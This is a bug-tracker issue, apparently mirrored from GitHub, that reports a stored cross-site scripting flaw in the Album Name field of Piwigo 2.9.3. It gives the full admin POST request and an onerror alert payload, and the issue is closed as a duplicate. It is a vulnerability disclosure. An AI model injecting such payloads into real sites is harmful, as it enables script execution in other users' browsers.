adam/Piwigo
1
0 Fork 0
mirror of https://github.com/Piwigo/Piwigo.git synced 2026-10-30 21:52:00 +01:00
Code Issues 657 Packages Projects Releases Wiki Activity

Regarding a Cross Site Scripting Vulnerability. #765

New Issue
Closed
opened 2026-10-05 00:16:13 +02:00 by adam · 1 comment
adam commented 2026-10-05 00:16:13 +02:00
Owner
Copy link
Copy source

Hi,
Latest Version of piwigo(2.9.3) is vulnerable to cross site scripting vulnerability in the Album Name parameter.Album name can be crafted with malicious payload,which in turn executes while viewing Album.

HTTP REQUEST:

POST /piwigo/piwigo/admin.php?page=cat_list HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:58.0) Gecko/20100101 Firefox/58.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-GB,en;q=0.5
Referer: http://10.8.4.2:5880/piwigo/piwigo/admin.php?page=cat_list
Content-Type: application/x-www-form-urlencoded
Content-Length: 127
Cookie: pwg_id=2frjgb4kd5f212cojup43b15c1
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1

pwg_token=c91f6cca90e3895601750050561b9a4b&virtual_name=**PayloadHere**&submitAdd=

Payload Used: <img src="x" onerror=alert(1);>

Image Attached:
piwigo

Hi, Latest Version of piwigo(2.9.3) is vulnerable to cross site scripting vulnerability in the Album Name parameter.Album name can be crafted with malicious payload,which in turn executes while viewing Album. ---------------------------------------------------------------------------------------------------------------------------------- HTTP REQUEST: ---------------------- ``` POST /piwigo/piwigo/admin.php?page=cat_list HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:58.0) Gecko/20100101 Firefox/58.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-GB,en;q=0.5 Referer: http://10.8.4.2:5880/piwigo/piwigo/admin.php?page=cat_list Content-Type: application/x-www-form-urlencoded Content-Length: 127 Cookie: pwg_id=2frjgb4kd5f212cojup43b15c1 DNT: 1 Connection: close Upgrade-Insecure-Requests: 1 pwg_token=c91f6cca90e3895601750050561b9a4b&virtual_name=**PayloadHere**&submitAdd= ``` Payload Used: `<img src="x" onerror=alert(1);>` Image Attached: ![piwigo](https://user-images.githubusercontent.com/24894558/36965877-f790d274-2080-11e8-825f-6f12f4703128.png) <!-- github-sync-id:302216211 -->
adam closed this issue 2026-10-05 00:16:13 +02:00
adam commented 2026-10-05 00:16:14 +02:00
Author
Owner
Copy link
Copy source

duplicate of https://github.com/Piwigo/Piwigo/issues/716

duplicate of https://github.com/Piwigo/Piwigo/issues/716 <!-- github-comment-id:370350981 -->
Sign in to join this conversation.
No Branch/Tag Specified
Labels
No items
No labels
Milestone
No items
No Milestone
Projects
Clear projects
No projects
Assignees
Clear assignees
adam (Adam Wojcieszonek)
No Assignees
1 Participants
Notifications
Due Date
No due date set.
Dependencies

No dependencies set.

Reference: adam/Piwigo#765